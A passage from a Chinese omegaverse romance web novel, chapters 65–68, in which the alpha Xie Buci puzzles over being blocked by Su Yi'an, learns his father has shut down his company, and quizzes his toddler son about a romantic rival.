高中的时候他俩就都知道季文璟是实诚孩子,没什么心眼,还憨憨的。 在贵族学院那样的地方,季文璟除了有一点钱,没有任何能拿得出手的东西。 所以他也会受欺负。 拉帮结派是很正常的,有钱有权身边就不缺巴结的人,但家境一般的,除了遇上些比较跋扈的要受点委屈,不会被霸凌。 以至于相处的时间久了,谢不辞和蒋泽都知道他不会撒谎。 他撒谎的时候语气比较激动,急于证明自己,不讲逻辑还只会生硬的扯开话题。 也许出国留学的时间久了,学会了些人情世故,变得起码看起来不那么好欺负了。 但刻意装出来的深沉,在谢不辞和蒋泽这种绝对了解他的人面前,没有一点作用。 而且前面谢不辞顺着他的话说他确实不会撒谎以后,季文璟还肉眼可见的松了口气。 “因为你只要心虚,我们俩都一眼就能看得出来。” “我们之前,有绝对的情分可以讲,什么话你都可以直接告诉我,这并不会影响我们的关系。” 怕季文璟不相信,谢不辞还为此专门做了承诺:“你不说,我永远都不会知道你是不是有难言之隐,别让这种不一定是问题的问题来影响我们的兄弟情。” 但季文璟只是摇了摇头,依旧什么都不愿意说。 觉得好歹有多年的情分在,人跟人之间或许也需要隐私,谢不辞就没再过分追问,给季文璟倒了杯酒就回到了自己座位。 搞了这么一出,这饭不管怎么吃都一定会冷场。 季文璟显然也意识到了这一点,在都没人说话的漫长的时间里,他坐立难安。 磨磨蹭蹭了许久,就像做了极大的心理斗争一样,拉着椅子坐到谢不辞旁边,主动谢不辞讲话。 “我真的只是在沈伊带着苏以安去检查的路上见过他一面,连招呼都没打,我跟他能有什么可说的,你难道还担心我会跟你抢人吗。” 谢不辞也没想故意为难他。 那信息素的味道微弱成那个样子,估计蒋泽都没闻出来,能说明什么。 只不过季文璟状态不好,他们说什么对方都不愿意接话。 有那么一瞬间,谢不辞都想给蒋泽发消息问这饭是不是非要今天吃了。 整得跟他俩在强迫良家妇女一样。 季文璟主动过来,谢不辞也不会让话掉到地上:“我没怀疑你。” 按谢不辞以前的脾气,真发心眼里认定了是好兄弟偷他的人,他当场就得炸毛,没准稍微解释得慢一点就要打起来了。 这会蒋泽也拉着椅子坐过来,还像以前一样,两人一左一右的围着谢不辞坐,说话也不嫌伸着脖子累得慌似的隔着谢不辞说:“那你又是因为什么魂不守舍的?” “也没什么,喝点就好了。” 从高中那会,谢不辞他俩就知道季文璟没摊上什么好爹,爸爸精神问题也很严重,一般季文璟情绪不好的时候,当事人不愿意开口不会过分追问。 说到这份上,该翻篇的也就翻篇了。 不过谢不辞又注意到了另一个重点—— 他在家里躺尸,苏以安都没想把雪团给他送过来。 做检查选择跟沈伊一起去也就算了,还连知情权都不给他一个。 然后谢不辞掏出手机,给苏以安发消息。 他逐字逐句斟酌了好久,直到自己觉得光看文字就显得语气很温和,没有一点质问意思以后,才点发送。 原文是:今天去做什么检查了?结果出来了吗,做检查的时候雪团谁在带? 后面本来还想再补一句,下次再有这种情况,忙不过来可以去对门把他叫上。 只不过第一条消息刚发出去,就收到了明晃晃的红色感叹号。 谢不辞一愣。 随后偏头看了蒋泽一眼,见蒋泽跟他对视,就像他俩对上了什么信号一样,谢不辞立马勾着蒋泽肩膀把人拽过来:“军师!” “你看我上边聊天记录多正常,他又咋着了就把我拉黑。” 说完三个脑袋都围到了谢不辞手机屏幕前,看着谢不辞跟苏以安那客套得好像刚认识的聊天记录: 谢:[视频。] 苏:孩子今天晚上在哪睡。 谢:先在别墅住两晚,我后天早上去接他。 苏:[OK手势] 然后结束。 蒋泽看完沉默了许久,久到谢不辞都快急了:“你看我真的没有乱说话,我啥也没干,他就莫名其妙的把我拉黑了。” “啥时候拉黑的?” 就简简单单几个字,一下就把谢不辞问住了。 他也不是很清楚他为什么还能坐的住,以往这种情况,等他发现了自己被拉黑,应该就已经到了苏以安抱着孩子离开他们这座城市的地步了。 “大概……可能……是今天早上?” “我打个电话试试。” “算了,要不我还是先问沈伊。” 谢不辞打开沈伊的聊天窗口,刚要打字,注意到旁边两道齐刷刷盯着他的视线,又紧张的吞了口口水,选择点开通讯录给沈伊拨了个电话过去。 然后怕军师听不清楚,还专门按了免提。 “你来问检查结果吗?” “还没出,你过两天再问。” …… 电话那头先发制人,谢不辞就有点不知道要说什么了。 提前也没有组织过语言。 他求助似的往旁边看,蒋泽跟季文璟立马开始手忙脚乱的无声指挥,结果字打了半天,仨手机都摆谢不辞面前。 三方信息输出,谢不辞一个也没接收进去。 “还有没有别的事,没有我就挂了。” “不是,等一下……” 等一下完了以后等了半天,也没让沈伊等出下一句来。 蒋泽举着手机,备忘录里一句话,季文璟同样在备忘录里也写了一句话。 他俩互相还不太赞同对方的观点,因为都没开口,差点就隔着谢不辞打起来了。 然后也不知道是谁一个顺手,就水灵灵的把谢不辞本来就没捧住的手机,扒拉到了桌子底下。 这下三人都安静了。 还一言不发的面面相觑。 “看我有啥用,捡啊。” 手机掉到了季文璟脚边桌腿那里,谢不辞也扒拉了他一把,然后转头把另外俩人都手机都抢过来仔细看了一眼他俩备忘录里到底写了什么有这么大意见分歧的东西。 他俩都很正经。 没出馊主意这一点,还挺让谢不辞意外的。 蒋泽说让问苏以安现在在哪,季文璟让问苏以安在跟着沈伊做检查的这段时间里有没有说些什么。 手机捡起来以后,谢不辞又听见沈伊的声音:“你要不是为了问检查结果的话,那我大概知道你想说什么了。” “你又乱搞什么幺蛾子了?” “让他当着我的面把你拉黑。” 这下谢不辞脑子清醒了。 他什么都没做,没有得罪苏以安。 肯定是因为苏以安跟沈伊分开的这段时间里,又发生了些什么,才导致对方一高兴就把谢不辞拉黑了。 然后谢不辞又仔细的询问了一下沈伊是在哪见到苏以安的,检查具体都做了什么,他俩有没有遇上什么让苏以安不高兴的人之类的。 拼拼凑凑了半天,还是什么都没猜出什么比较贴合现实的东西。 第65章 第 65 章 但也不至于毫无收获。 起码谢不辞知道了, 苏以安有跟沈伊分开的一小段时间。 不长,半个小时。 半个小时这么短,要不是遇上什么以前就积怨已深准备蓄意报复的人, 苏以安本身没出什么事, 就算不得大事。 像医院这样的地方, 24小时有人。 连过年都得调休。 今天是沈伊最后一天假期, 提早就约过了苏以安, 说医院那边都已经打点好了,带他去做产检。 还光荣的承担了帮带孩子业务。 而且一定用脚丫子想都知道,沈伊这种成熟稳重温柔体贴的便衣白大褂,在靠谱这方面,一定甩谢不辞好几条街。 最主要的是,他俩什么时候联系的,谢不辞完全不知情。 但现在事情已经发生了, 再纠结就没意义了,所以谢不辞只问了苏以安现在在什么地方。 沈伊说,就在谢不辞家对门。 没有要离开的意思, 因为沈伊送他回去的时候, 看见家里什么东西都没收拾。 苏以安最宝贝他那画架子这一点人尽皆知, 要是画板放阳台上没收起来,就是暂时还没有长时间离开居住地点的打算。 挂点电话,谢不辞就开始犹豫今天晚上这酒到底还喝不喝。 蒋泽之前教他,有问题要尽早解决,不然变成心结以后就会成为两人之间永远的隔阂。 但蒋泽也教过他,苏以安这个性格, 在气头上这种时候最好躲远一点。 结合一下就是,今天傍晚才把他拉黑, 肯定不会给他什么好脸色,现在最好不要回去硬找挨骂。 而现在,饭局都组起来了。 还是兄弟局。 他们三个大老爷们对着一桌子的菜,一点都不喝的纯吃饭,显得怪有病的。 这会不知道是不是觉得都说的差不多了,该进入迟到自罚三杯的环节了,等服务员把刚点过的酒送上来时,季文璟还是先给他俩倒的。 然后也没等谢不辞和蒋泽把酒杯举起来,季文璟便先仰着头给自己灌了三杯酒。 剩下两人都还没反应过来,季文璟就把酒杯重重放回桌子上。 “我跟你俩讲个大事。” “行行行,别管多大的事你先坐下说,你别急。” 谢不辞跟季文璟认识了这么多年,都很少见他什么时候跟他俩开口有这么郑重的语气,下意识就觉得不会是什么好事。 蒋泽也附和:“你有啥事需要帮忙你就直接说呗,跟我俩还管什么忌讳不忌讳的?” 季文璟话到了嘴边,却像是觉得难以启齿似的,磨磨蹭蹭好久,才很小声的讲出几个字:“就是,我有个喜欢的omega。” “我草!啥时候的事?到哪步了,你咋现在才告诉我们。” 谢不辞离得近,虽然听得不是很清楚,但也还是能摘出喜欢和omega两个关键词来,蒋泽就是一点都没听见,只能把椅子又拉近了点,主动凑过去问:“啥事啊?” “这小子说他有喜欢的omega了。” “谁啊谁啊谁啊?” 海王圈里,喜欢这个词挺宽泛的。 但一般陪酒或者是服务生这种,谢不辞这边讲的是相上,或者是问人家愿不愿意跟。 小情人嘛,图个新鲜,养养就腻了。 不过对外面还会张嘴就是,这个我真喜欢。 男人嘛,鬼话连篇很正常。 只是季文璟嘴里讲的这个,一看就知道不是那么回事。 包个陪酒找个模子哥又不是见不得人的事,没必要扭扭捏捏的。 “我不太好意思讲是谁。” “圈里人都觉得他不是啥好人,而且家庭也不太好,他还不想被可怜,问过他,他也说不愿意跟我。” 这一套话下来,谢不辞就彻底退场了。 他也就这点东西能教,都行不通的话,他大概率只会进行下一个更好的说教。 随后谢不辞揽着肩膀把蒋泽拽过来:“这有现成的军师,你快展开跟军师讲讲。” “反正就是,他会利用我去达到他的一些目的,也会暗戳戳的对我示好,但他就是不喜欢我。” 上一句说完,可能认为不太严谨,季文璟停顿了一下又补充道:“我觉得他不喜欢我。” “可是他是这个圈子里混的,名声烂不要紧,他跟的那些个有权有势的老板或者二代,都被他搞的五迷三道的。” 这形容。 季文璟这语气。 再加上支支吾吾不愿意说名字的前科,配上刚才那个一直不太自然的反应和表情。 谢不辞沉默片刻,偏过头先对蒋泽说让军师先闭麦一会。 紧接着伸手轻轻拍在季文璟手背上,也是一副严肃认真的态度,还努力让自己看上去不想是在质问:“我说兄弟,你一开始不敢看我,跟做了亏心事似的,该不会真是偷了我的人吧?” 第66章 第 66 章 “那怎么可能!” 季文璟想解释一下, 只是因为着急有点语无伦次:“这个圈子里又不是只有苏以安,你怎么可以这么想我。” “好吧对不起。” 谢不辞看他这个反应就知道他没说慌,而且他也是那种藏不住话的性格, 怀疑的苗头刚冒出来就被掐了, 他便没继续深究。 紧接着蒋泽开口:“但是你这个, 目标指向性确实挺明显的。” 然后蒋泽就当着谢不辞的面, 掏出手机, 点开季文璟的聊天窗口,在屏幕上敲了几个字过去。 谢不辞看不清发了什么,但能看见右手边季文璟在锁屏上扫了一眼弹出来的消息,继而脱口而出:“有这么好猜吗?” “不是,你俩排挤我呢?” “都知道就我不能知道是吧?” “你要不再给我点和苏以安不贴的条件让我猜猜呢?” 季文璟闻言还特意认真的思考了一下。 “他家很有钱,把他当联姻商品培养算不算?” 可是钟家经济条件也不差,也把苏以安当成精致的商品, 准备给他联姻,拿他换取家族利益。 谢不辞没直接解释,只给了个眼神, 季文璟就立马会意。 “那……他是家里老二这点呢?” 这确实能撇开苏以安的嫌疑, 苏以安是钟家老三。 但是这暗戳戳的提示, 说了跟没说好像也没啥区别。 在谢不辞的观念里,这圈子里根本就不可能存在好人,大家都是一样的人,都是出来玩的,偏偏就有人有病,要给omega上枷锁, 对着omega指指点点。 所以真的猜不到。 “算了也不重要,你俩继续往下讲, 我也不是一定要猜到底是谁。” 季文璟有点沮丧,连着后面的话都带着点自暴自弃的意味“没什么要讲的了,就他有下一个目标,我不太确定是不是真的喜欢。” “我现在怎么做?” 下一个目标。 谢不辞若有所思的往季文璟那边看了一眼。 该说不说,留子就是不一样,咬文嚼字的跟你掰扯。 “他的下一个目标……” 这下蒋泽也欲言又止了。 这行为就像在告诉谢不辞,他在这好像不是那么合时宜。 谢不辞也说不出来他俩到底是想让他知道还是不想。 没法直说,他又猜不出来,导致剩下俩人都眼神交流了。 “怎么,难不成我也是当事人之一?” 谢不辞本意是想阴阳怪气两句,后面连要不你俩背着点我说的这句话都堵到了嘴边,却因为看见了他俩的表情硬生生给咽了回去。 这下好了,真被他给猜对了。 甚至谢不辞还从蒋泽的表情里读出了:都没直接告诉你了,你非要问,猜出来等下讲你你又不高兴。 “……” “下一个目标是我?” 季文璟点了点头。 谢不辞没再多废什么话,朝着季文璟展示了一下自己名片二维码:“对方只要不明确的把大名告诉我,我就绝对不多问。” “然后你让他直接说要多少钱就好了。” 目标而已,给点钱没什么解决不了的。 真解决不了那就多给点,或者再多给点。 “你俩……有好友。” 谢不辞:? 他已经把之前玩过的,标数字备注暧昧对象的人都删了,很久以前就删了。 留下的都是比较熟的。 他也很久没加过好友了。 这么一看,倒还真有点棘手,不然季文璟也不会不敢跟他直接讲。 “图我啥啊?” “你长相也不是拿不出手,信息素品阶跟我大差不差,家里经济条件也不至于挤不进富人圈。” 除了有天天买奢侈品这种大手大脚的消费习惯,谢不辞能给的季文璟都能给,而且会给得更好。 之前玩得那么疯,谁不知道谢不辞有多渣。 除非带点倾向,不然谢不辞找不出对方喜欢他的理由。 “图……拿不下你?” 谢不辞听见这话还有点想笑。 这节目,他熟啊。 上赶着的他一眼都不会多看,送到他面前的他都不见得会赏面子挑一挑,但唯独苏以安这个他死活睡不到的,他就不服。 他就惦记得死去活来的。 “那你需要我做什么吗?” 问完季文璟,谢不辞还往蒋泽那边看了看:“或者你有什么好建议吗军师。” 季文璟没说话,但蒋泽替他开口了:“我觉得这对你来讲,是个预防针,你最好做点心理准备。” 让你做点心理准备,你别管是哪方面的心理准备,做就完了。 “哦,好的。” 中间隔这么大的事情,谢不辞这种粗神经的人,都隐隐约约能感觉到,他跟季文璟之间,气氛不大对劲。 这顿饭吃得挺慢的。 虽然没真的聊些什么,也没喝多少酒,但就是消磨了很长时间。 回了自己家,谢不辞还给方明之发了消息,问苏以安有没有跟他吐槽为什么要拉黑自己。 据谢不辞的小道消息讲,方明之应该上个礼拜就回了A国。 他这边是晚上,对面恰好是清晨时间最好的时候。 他没等多久就收到回复:[他没直说,我印象里好像是因为什么事情想找你,然后发现你去干什么了。] [找不到人或者他心里不太平衡?就给你拉黑了,说你是个傻逼。] 找不到人心里不太平衡? 谢不辞不太能理解这到底是什么意思。 电话,消息之类的,他什么都没有收到,而且他跟苏以安吵吵闹闹这么多年,圈子里认识的人重合很高。 绝对不会存在想找人又找不到的情况。 只能是苏以安根本就没想过要找他。 然后谢不辞接着发消息追问:[他有没有跟你讲他见到谁了?] 那头不光回得很快,而且言简意赅:[你兄弟。] 季文璟。 谢不辞就是没猜错,他俩之间一定有什么见不得人的,只不过苏以安不会主动跟他讲,而季文璟又跟他有多年交情。 人家不愿意说,谢不辞自然也没法强迫。 那拼起来就应该是,沈伊跟苏以安分开的那不到半个小时的时间里,苏以安跟季文璟见了面,两人还发生了争执。 后面苏以安想找他,却在离医院不远的会所外面看见了他车,一气之下拉黑了他所有的联系方式? 说得通。 但不管从谁的角度来看,谢不辞都是另一位当事人。 结果他这当事人方方面面都不知情,憋屈得要死。 觉得反正都到这个份上了,干脆也就不要挣扎了。 谢不辞又让方明之打电话问一下,需不需要他把雪团接到对门一晚上。 得到的回复是苏以安的善意提醒:年都过完了,班还上吗。 这要是不说,谢不辞真的没有注意到,他那个一直消息免打扰的工作群,他已经很久没有注意过了。 可奇怪的是,放假……或者说他旷工了这么长时间,没有任何一个部门经理或者助理之类的来拿工作上的事情找过他。 为什么? 谢不辞专门去以前的工作群里翻了翻聊天记录。 点进去之前999+,各种文件和@,全是工作交接,包括放年假之前还很活跃,看起来像是拿下了不少大项目,而且年底统账也挣了不少。 现在已经开工有几天了,工作群没有一个人说话。 上次工作交接还停留在年前,最后一条消息是他爸派过来干活的那位发的放假通知。 谢不辞给自己之前的秘书发了消息,问怎么没有给他汇报工作,没过多久就收到了秘书的语音。 “不是把我裁了吗谢总……” 虽然还不是很明白发生了什么,但这可是谢不辞从上班就一直在用的秘书,早就把人家秘书划到了私人领域内。 一声招呼都不跟他打,就把他的员工裁掉,按谢不辞以前那个小暴脾气肯定是忍不了一点。 然后他立马发语音过去:“来你说,谁这么大官把我的人裁了都可以不告诉我一声,还裁谁了,我现在就找他打架去。” 不知道是谢不辞语气不太好还是秘书没怎么工作过,面对老板总会拘谨,反正没敢再发语音。 磨磨蹭蹭的打了半天字,发来一条谢不辞再熟悉不过的消息:[我不知道该不该说,说了您别生气……] 谢不辞没回他,他那个对方正在输入闪烁了好久,也没任何文字消息发过来。 只回了一条可怜巴巴的表情包。 谢不辞有点无奈:“你说吧,我没跟你较劲。” [可能是您爸……] 年后复工之前,谢不辞他爸派过去管分公司的项目经理就发了通知,裁了谢不辞那边好大一部分人。 紧接着公司运作没两天,就无缘无故宣告破产。 宣告破产这个,谢不辞倒是没觉得是什么大不了的事情。 他管的这个,跟自己家大企业是子母公司,那子公司存在的意义就是给总公司兜底。 把处理不了的烂项目都甩过来,负债积累到一定程度就破产。 然后变卖设备,还不上的钱就不还了,总公司也不会受到太大影响。 谢不辞没再跟秘书多说什么,只沉默着退出聊天界面,给他爸打了个电话过去。 他知道他家家底挺厚的,不然家里也不可能惯着他毕业以后做无业游民到处乱玩。 可宣告这样的事情和苏以安他爹去世不久堆到一起,还是会让谢不辞心里不太踏实。 他确实……没怎么关心过家里的大事。 而且他爸把这公司给了他,就不会不跟他商量收回去,现在他什么都不知道,也许还是他爸刻意隐瞒。 电话响了很久都没人接。 越是这样,谢不辞不好的预感就越强烈。 一连打了五六个,直到电话又快被自动挂断,另一头才接起来。 “这么晚了,你不会又出去喝酒了吧?你别跟你老子发酒疯,我忙着呢。” “不是,我来问你怎么样了。” 谢不辞听得懂生意上的事情,只是大部分看起来糟心又恶心的,他爸都不会讲给他。 就导致,他想关心一下他爸,都不知道从何说起。 “我能有什么事,我好的很。” 语气是轻松的,但谢不辞听就是觉得听起来很沉重。 他形容不出来,却又没法再往下细问,他张了张嘴,没有发出任何声音,只能有些无力的任由手机屏幕上通话时间的数字跳动着。 “知道你那小公司的事情了?” “最近手头该做的工作岔子比较多,零零散散的分公司差不多都破产得差不多了,你要是还想要,过阵子公司经济宽裕些,我再给你开一个。” 之前忙了好长一阵子的那次,谢不辞挣了不少钱,暂时不太需要担心没钱养家糊口。 他介意的只不过是,事情到底有多严重才需要他爸刻意瞒着他。 见谢不辞没反应,电话那头又继续道:“怎么,生气了?” “气我没有跟你商量?” “本来就大过年的,你又恰好因为小苏那边有特殊情况抽不开身,这么点小事没必要特意跟你讲一下。” 而且他们家今年办的宴会,没有冷场,没有让谢不辞看出在刻意省钱之类的。 所以再大的事,也只能是这两天发生的事。 “你需要我帮你什么吗,我手里刚好也有点钱。” 其实谢不辞想说,赌那种高风险高回报的项目也可以,挣了就算他给公司出了点物力,挣不出来全搭进去也没什么的。 反正他就当拿钱孝敬他爸了,不太在意他爸用来干什么。 “你爸要是缺你手里那点钱。那这么多年不都白混了?你别瞎操心了,该睡觉睡觉,我还得再忙会。” “挂了。” 谢不辞知道他爸是个很好面子的人,但不会明明有困难需要帮助,还死鸭子嘴硬的自己撑着,也就没再因为这个多想。 反而更好奇,苏以安是提前就知道这公司宣告破产了专门提醒他,还是单纯的想让他上班找点事干别围着1501转。 喝过酒入睡就是会变得很容易。 哪怕谢不辞也没喝多少,都能挂了他爸的电话,完全不记得自己是什么时候睡着的。 第二天天刚亮,谢不辞就被门铃声吵醒。 他拖着不太受控制的身体,晃晃悠悠的走过去开门,然后看见苏以安一言不发的把雪团递到他怀里。 继而转身就走。 他都没来得及阻拦一下,问自己怎么无缘无故进他黑名单。 不过刚起床,人还不太清醒,没反应过来发生了什么,就什么都结束了。 喝酒误事。 谢不辞把雪团放到客厅沙发上,匆匆洗了把脸,然后一边翻零食柜给找奶粉,一边朝雪团问:“你爸爸早上给你奶喝没有。” 怕雪团听不懂,谢不辞还专门晃了晃手里的奶瓶,又重复了一遍刚才的问题。 雪团回答了什么他也没听清,只得自顾自的进厨房给孩子又冲了点奶粉。 孩子又不傻,吃饱了就知道不应该继续吃了。 而且喝不喝都没关系,他本来冲奶粉也没指望孩子吃多少,那是用来跟孩子套近乎的。 谢不辞举着奶瓶凑到沙发跟前,也不管雪团能不能听懂,就拉着人家硬唠:“你知道你爸昨天为啥不找我不?” 雪团确实理解不了那么复杂的东西,只眨巴着眼睛看向他。 谢不辞忽然换了个角度。 想起了一个任何听起来就很讨厌的亲戚都会问的问题,你喜欢爸爸还是喜欢妈妈。 而后活学活用为:“你觉得你亲爸爸是跟我好还是跟昨天那个沈叔叔好?” “你更喜欢我还是更喜欢沈叔叔?” 他跟沈伊,就算再没有可比性,在孩子面前,他也还是想给自己争个面子。 就非要得到雪团的答案。 小孩子心思单纯,你对他好,他肯定能感觉出来。 而且雪团跟谢不辞住了也有一段时间了,谢不辞就不信沈伊在这方面还能比得过他。 但雪团回答得很认真,也一点都没顾忌谢不辞的面子,毫不犹豫:“喜欢沈叔叔。” “为啥啊?!” 第67章 第 67 章 一个完全出乎意料的答案。 急得谢不辞差点跳起来。 谢不辞说完才意识到可能情绪激动会吓着孩子, 也没顾上自己服不服,脑子里飞速思考着要做点什么才能补救一下。 但最多也就只会特别直男的在雪团脑袋上胡乱揉两把。 雪团没理他那一套,知道刚才已经说得很清楚了, 却还是又重复了一遍:“就是喜欢沈叔叔。” “你觉得我比不过你沈叔叔吗?” 没指望这么大点的孩子能真说出点什么来, 可在谢不辞心里, 这孩子首先是他亲生的, 其次他也带了有几个月了, 他认为孩子不讨厌他。 可能真的在他看不见的地方,沈伊这最具有竞争性的情敌做了什么特别能拉苏以安和孩子好感的事情。 于是怕雪团听不懂,谢不辞还特意换了个问法:“你喜欢沈叔叔什么?” 孩子有多爱苏以安,谢不辞是清楚的,所以答案也没到很意外的份上:“他对爸爸好。” “我对你爸不好吗?” 以前可能是差了那么一丢丢,但那都多少年前的事情了,苏以安不会主动诉苦, 所以无论如何都不至于雪团也知道。 雪团这会手里拿着小玩具,没喝谢不辞给冲的奶粉,又不是很愿意把注意力继续放在谢不辞身上。 不过还是很给面子的回了一句:"反正没有沈叔叔好。" 他这么一说, 谢不辞猛然想到, 之前好像谁跟他讲过, omega怀孕的时候受过自家alpha什么委屈,孩子都会记得。 不管孩子有多小,不管过去了有多久。 就算omega本人不计较了,孩子也会因为记得当时omega的情绪而对自己alpha爸爸亲密度降级。 当时谢不辞认为是无稽之谈。 但现在这么一看,应该也不完全是假的。 也就是说,如果这一点真的找到了相关学者在这方面的研究文献的证实, 那他不光需要思考怎么把老婆追回来,还得寻思要做点什么才能改善他儿子对他的不良印象。 而且, 如果第二个孩子也能来到他身边,他还得兢兢业业的保证上一次的渣男行为不会在孩子出生之前重复出现。 “那你给我形容形容沈叔叔对你爸有多好呗?” “你看,我也不差钱,你沈叔叔能做的,我没道理做不了啊。” 他家孩子很聪明,学说话都比一般孩子快一点。 就算谢不辞跟孩子都还不是很了解,但雪团学习能力很强这一点毋庸置疑。 虽然没夸张到不够一周岁就能熟练背出好几首古诗的程度,但谢不辞也没想到雪团真的能完全不费劲的跟他交流。 他之前对孩子能不能听懂他说话的担忧完全是多余的,因为对于刚才那两句话,雪团给他的回答是—— “我爸不喜欢你。” 谢不辞不服:“那也没见他多喜欢沈伊啊。” “更不喜欢你。” 简单直白,跟苏以安怼他的时候如出一辙。 只是叙述事实,对谢不辞这个人没有一丁点的敌对性,就能轻轻松松的让他破防。 还无话反驳。 “你就跟我讲,你沈叔叔做什么了让你觉得他对你爸好。” “你不要带着对我的私人恩怨,我也没有虐待你啊。” 不想理谢不辞的刨根问底,雪团直接转过身去。 但谢不辞也是个犟种,对老婆不能死缠烂打,对孩子就没有那么多讲究了。 而且他完全不在乎雪团会不会因为他说错话哭,会哭就更好了。 不想聊就不聊嘛。 他还可以抱着孩子去对面敲门等他老婆骂他。 这样他见到了老婆,雪团也如愿以偿的得到了他亲爸爸的安慰。 两全其美。 雪团背对着谢不辞,谢不辞就主动把自己挪到沙发另一边去,继续追问:“你快说啊,你记得沈伊什么行为对你爸好了。” “他给我爸买花。” 闻言谢不辞立马掏出手机,点开备忘录,认认真真的在里面输入:要给老婆买花。 再往下问之前,还专门改了那页便签的名字:成熟男人打败情敌追到老婆需要做成的一百件小事。 因为情敌不止一个,所以人还是要给自己定下一个小目标,比如先做个一百件。 “还有呢。” “他还单独跟我爸吃饭。” 于是便签里又多了一句:要订最豪华的餐厅单独跟老婆吃一次饭。 “吃过好多好多次。” 听见补充以后,谢不辞低下头,悄悄把一次改成了n+1次。 是很幼稚。 但情敌都有的待遇,他这个正牌孩子爹要是没有,说出去要被人笑话死的。 “然后呢。” 雪团眨了眨眼睛,似乎是在犹豫说还是不说。 其实沈伊送的玫瑰花后面都是雪团亲手把花瓣揪下来的,然后放在了两人当天晚上的泡脚水里。 跟沈伊吃饭是因为在想方设法的用偏激手段拒绝对方的主动示好。 反正都不是好事。 但是,这口气,就应该谁受了让谁出。 所以雪团还专门对着谢不辞问:“爸爸,我爸爸啥时候能跟你和好?” “我也很想知道。” “那你为什么不努力?” 谢不辞:…… 万恶的过年。 带着雪团回家过个年的功夫,这种乱七八糟的话到底是他哪个缺德的哥们教出来的,他根本锁定不了目标。 “你有什么好的努力方向指给我吗。” “没有。” …… 这小孩吧,还是不开口说话的时候比较可爱,要不多多少少都得带点能气死你的架势。 不过谢不辞也没灰心,毕竟他刚开始就知道自己选的老婆,跪着也得给追回来。 尤其是拖家带口的老婆。 第68章 第 68 章 谢不辞不知道他还有啥能跟孩子说的, 就只能把家里存的玩具都给翻出来让他自己玩。 因为孩子被送过来的时候没有交流,谢不辞不太确定苏以安把孩子留在他这是什么意思。 而且苏以安没告诉他要去干什么,去多久, 还会不会把孩子接走。 现在谢不辞就属于, 没有班上, 也不能出去玩, 连去阳台抽根烟都不合适, 他都觉得无聊得快发霉了。 百无聊赖的躺在沙发上拿着手机扒拉了半天,谢不辞终于给自己找出了个消遣方式——翻苏以安朋友圈。 很久以前苏以安有出去喝酒就随手发一条的习惯,他刚说过对谢不辞失望至极离开这座城市的那阵子,谢不辞天天看。 一边看还一边点评苏以安找男模品味越来越差。 比如5月26号的看起来信息素品阶就不高,5月29号的透着一股子暴发户的味道,6月1号的像个精神小伙之类的。 都不是什么高级的东西,给不了谢不辞什么危机感。 那会谢不辞还觉得, 这是苏以安上不得台面的闹脾气方式。 后面苏以安不发了,谢不辞也就没再刻意看过。 这么长的时间里,应该攒下了不少。 不过这次再点进去, 就没有出去喝酒的照片了, 都是些风格不一的油画和雪团的照片。 雪团一个月大的时候, 看起来也就谢不辞半条胳膊那么大,裹在小被子里包成一团,耳朵上还别着一朵紫色小雏菊。 两个月大的时候躺在婴儿车里啃小手,看起来对世界还懵懵懂懂的。 三个月大的那张照片上,还是同样的婴儿车,雪团伸着小手去抢苏以安手里拿着的煎饼, 小眉毛拧得都快系上了。 四个月大的时候孩子就已经会自己抱着奶瓶了,像谢不辞印象中的那样, 大部分时间都安安静静的,也不哭不闹。 五个月大看起来像是生了一场病,孩子在镜头面前哭,额头上被输液针扎出了好大一块淤青。 最后一条朋友圈已经是几个月之前了。 那会拍出来的照片,穿得就是雪团到谢不辞手里之前的衣服。 衣服看起来就不便宜,雪团也被打扮得像块精致的小蛋糕。 在此之前,都是谢不辞缺席的时间。 雪团到谢不辞手里以后,苏以安就再也没给拍过照片了。 或者说拍了也没发过。 明明苏以安不抗拒雪团的存在,偏偏加上了谢不辞,就什么都变了。 但alpha可能天生脑子里就缺根弦,抓重点的方式与正常人完全不一样。 谢不辞把手机扔到一边,温柔的拿过雪团手里的玩具:“你爸就在对门没出去是不是?” “好儿子咱俩商量商量,你装哭,我把你送到对门去找你爸行不行?咱俩一块去。” 雪团盯着谢不辞手里的玩具看了几秒,伸手去够了好几次都没把玩具拿回来。 他先看了看谢不辞,在谢不辞继续忽悠他的话还没说出口时,先仰着脑袋嚎啕大哭。 “不是哥们,我跟你商量呢,你咋那么小气?” “还你了还你了,你小点声,别真让你爸找上门来……” 这要是因为把孩子欺负哭了被孩子亲爸找过来,谢不辞都觉得自己得挨两巴掌。 雪团拿到玩具就止住了哭声,但玩具到手以后看都没多看一眼,就扔到了一遍,抬头重新看向谢不辞。 他没说话。 谢不辞看见他脸上没有眼泪,连眼睛都没见红色。 …… 装的。 这小玩意装哭装得像模像样,谢不辞最开始真一点都没感觉到他没真哭。 谢不辞忽然觉得,他跟雪团之间,有的时候真看不出来谁才是爹,到底是谁在哄谁。 说是雪团嫌他太吵了才勉为其难的给他个面子逗他玩玩,谢不辞都信。 “……那你跟我去对门找你爸吗?” “等会再去。” 谢不辞没纠结苏以安把孩子送过来之前跟孩子商量了什么,重新翻出手机,准备过半个小时再问。 苏以安的朋友圈看完了,还能顺手翻翻沈伊或者方明之的。 沈伊比他们成熟很多,是个绝对专业又严谨的医生。 朋友圈里几乎没什么内容,前面上学的时候有段时间是把朋友圈当备忘录用,但现在已经很久都不见一条新的了。 唯一一条跟他学术没有关系的,是一张苏以安的照片。 照片的背景是国外某家医院的病房,苏以安穿着宽大的病号服,怀里抱着已经睡着了的雪团,在病床上望着专门放在窗台上晒太阳的盆栽。 只有一张侧脸。 但谢不辞能感觉到从照片里透出来的绝望感。 这种他没法感同身受却能看得出来的情绪无时无刻不在提醒着他,苏以安本身不想生孩子。 这些苦难,都是他强加给苏以安的。 后面谢不辞又翻了翻方明之的朋友圈。 雪团刚出生那段时间有一小段视频。 视频里护士把孩子抱到苏以安身边,说很幸运是个健康的小孩。 苏以安没什么表情,只象征性的抬头看了一眼。 视频里还有方明之的声音:“今天孩子生日,好歹是你辛辛苦苦怀了那么久生下来的,刚出生都不丑,后面肯定是漂亮宝宝。” “你也不是没有钱,咱带着大侄子过,根本不至于活不起好吧?” “笑一个就当留念了。” 但苏以安始终没什么表情,也没多看孩子几眼。 其实细琢磨一下就能从方明之的话里听出来,如果这个时候苏以安不较真不认死理,往后他带着孩子在国外也能过得很好。 只要不在圈子里露面,苏以安那么聪明,总有一天能躲到所有人都忘记他。 可是连谢不辞自己都看不下去。 苏以安凭什么不能跟他计较,凭什么加害者轻飘飘一句话就可以揭过曾经灰暗绝望的那么多年。 谢不辞把视频按了暂停键。 于是刚好屏幕定格在了,苏以安看向镜头的画面。 